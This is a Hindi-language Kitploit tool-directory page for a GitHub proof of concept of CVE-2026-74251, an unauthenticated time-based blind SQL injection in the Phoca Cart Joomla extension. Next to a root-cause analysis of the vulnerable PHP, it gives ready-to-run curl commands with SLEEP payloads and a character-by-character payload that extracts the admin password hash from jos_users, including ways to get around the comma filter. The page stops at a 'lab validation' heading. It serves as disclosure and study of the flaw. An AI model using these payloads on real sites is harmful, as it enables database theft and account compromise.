Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-74251 — Phoca Cart में विशेषता फ़िल्टर के माध्यम से बिना प्रमाणीकरण के SQL Injection - CVSS 9.3 | Kitploit
उपकरण/GitHubGitHub/toanln-cov/cve-2026-74251
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनवेब सुरक्षाडेटाबेस सुरक्षा
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

Phoca Cart में विशेषता फ़िल्टर के माध्यम से बिना प्रमाणीकरण के SQL Injection - CVSS 9.3

रिपॉजिटरी देखें
221 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Phoca Cart में एट्रिब्यूट फ़िल्टर के माध्यम से बिना प्रमाणीकरण के SQL इंजेक्शन

Phoca Cart ≤ 6.1.6 — बिना प्रमाणीकरण वाला हमलावर टाइम-बेस्ड ब्लाइंड इंजेक्शन के माध्यम से पूरा डेटाबेस निकाल सकता है

CVE CVSS v4.0 CWE-89 Affected Researcher


सारांश

Phoca Cart के सार्वजनिक शॉप आइटम्स पृष्ठ पर a[] (एट्रिब्यूट) और s[] (स्पेसिफिकेशन) GET ऐरे पैरामीटर बिना पैरामीटराइज़ेशन या एस्केपिंग के सीधे SQL WHERE क्लॉज़ में जोड़ दिए जाते हैं। एक बिना प्रमाणीकरण वाला हमलावर इन पैरामीटरों के माध्यम से मनमाना SQL इंजेक्ट कर सकता है, जिससे टाइम-बेस्ड ब्लाइंड तकनीकों के द्वारा पूर्ण डेटाबेस निष्कर्षण संभव हो जाता है।

यह भेद्यता admin/libraries/phocacart/search/search.php के अंदर getSqlPartsArray() में मौजूद है। यह फ़ंक्शन IN() सूची बनाने से पहले explode(',', $v) को कॉल करता है, लेकिन परिणामी मानों को कभी एस्केप नहीं करता — इसलिए एक कॉमा-रहित पेलोड SQL क्वेरी में बिना किसी बदलाव के पहुँच जाता है। चूँकि getItemListQuery() प्रति अनुरोध दो बार कॉल होता है (getTotal() + getItemList()), एक SLEEP(N) पेलोड 2×N सेकंड का स्पष्ट विलंब उत्पन्न करता है, जिससे टाइमिंग डिटेक्शन अत्यधिक विश्वसनीय बन जाती है।


प्रभावित संस्करण

घटकभेद्यपरीक्षण किया गयाठीक किया गया
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

भेद्यता विवरण

प्रकार: SQL इंजेक्शन — टाइम-बेस्ड ब्लाइंड (CWE-89) आवश्यक प्रमाणीकरण: कोई नहीं — सार्वजनिक रूप से सुलभ एंडपॉइंट फ़ाइल: admin/libraries/phocacart/search/search.php

मूल कारण

आइटम्स मॉडल a[] और s[] पैरामीटरों को बिना सैनिटाइज़ेशन के सीधे HTTP अनुरोध से पढ़ता है:

SITE/MODELS/ITEMS.PHP — लाइन 92–93

$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

ये मान getSqlPartsArray() को अग्रेषित किए जाते हैं, जो प्रत्येक मान को कॉमा पर विभाजित करता है और परिणामी टुकड़ों को सीधे SQL IN() क्लॉज़ में डालता है:

SEARCH.PHP — GETSQLPARTSARRAY() लाइनें 318–363 (भेद्य)

foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

परिणामी SQL टुकड़ा मुख्य क्वेरी में डाला जाता है:

a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

filter.php में getActiveFilterValues() डिस्प्ले परत के लिए a[]/s[] मानों पर filterValue($item, 'alphanumeric') लागू करता है। हालाँकि, getSqlPartsArray() उन्हीं पैरामीटरों को $app->getInput()->get('a', '', 'array') से बिना किसी सैनिटाइज़ेशन के नए सिरे से पढ़ता है, जिससे डिस्प्ले-परत सुरक्षा पूरी तरह से विफल हो जाती है।


प्रमाण की अवधारणा

कोई प्रमाणीकरण आवश्यक नहीं। आइटम्स व्यू (/index.php?option=com_phocacart&view=items) सार्वजनिक रूप से सुलभ है। शॉप पर किसी एट्रिब्यूट या स्पेसिफिकेशन के कॉन्फ़िगर होने की आवश्यकता नहीं है।

1. बेसलाइन माप — सामान्य प्रतिक्रिया समय की पुष्टि करें

एक बिना प्रमाणीकरण वाला उपयोगकर्ता बिना किसी क्रेडेंशियल के शॉपिंग पोर्टल तक पहुँच सकता है।

आइटम्स सूची दिखाने वाले Phoca Cart शॉप पोर्टल तक बिना प्रमाणीकरण के पहुँच

Burp Suite में कैप्चर किया गया रॉ अनुरोध — बेसलाइन प्रतिक्रिया समय: 76ms।

76ms प्रतिक्रिया समय के साथ शॉप पृष्ठ पर Burp Suite बेसलाइन GET अनुरोध

2. समय विलंब के माध्यम से SQL इंजेक्शन की पुष्टि करें — एट्रिब्यूट फ़िल्टर (a[])

a[color] पैरामीटर के माध्यम से SLEEP(3) पेलोड इंजेक्ट किया जाता है। चूँकि getItemListQuery() प्रति अनुरोध दो बार कॉल होता है, अपेक्षित विलंब 2 × 3 = 6s है। देखा गया: 7085ms — पुष्टि हुई।

# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite में SQLi पेलोड, 7085ms प्रतिक्रिया समय के साथ डबल SLEEP(3) की पुष्टि

3. SLEEP(0) से पुष्टि करें — तेज़ प्रतिक्रिया

SLEEP(3) को SLEEP(0) से बदलने पर तुरंत प्रतिक्रिया मिलती है (1064ms), जो पुष्टि करता है कि विलंब इंजेक्ट किए गए SLEEP के कारण है, नेटवर्क स्थितियों के कारण नहीं।

Burp Suite में SLEEP(0) पेलोड के साथ तेज़ 1064ms प्रतिक्रिया

4. टाइमिंग ओरेकल के माध्यम से कैरेक्टर-दर-कैरेक्टर डेटा निष्कर्षण

एडमिन bcrypt हैश को एक-एक बाइट करके निकालें। महत्वपूर्ण बाधा: explode(',', $v) SQL बनाने से पहले कॉमा पर विभाजित करता है — पेलोड को कॉमा ट्रंकेशन से बचने के लिए SUBSTRING(str FROM pos FOR len) (ANSI कीवर्ड सिंटैक्स) का उपयोग करना चाहिए, और IF() के स्थान पर CASE WHEN ... THEN ... ELSE ... END का उपयोग करना चाहिए।

# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"

curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=$PAYLOAD" \
  "http://TARGET/index.php"

लैब सत्यापन — एडमिन bcrypt हैश के पहले 12 कैरेक्टर:

टूल डाउनलोड करें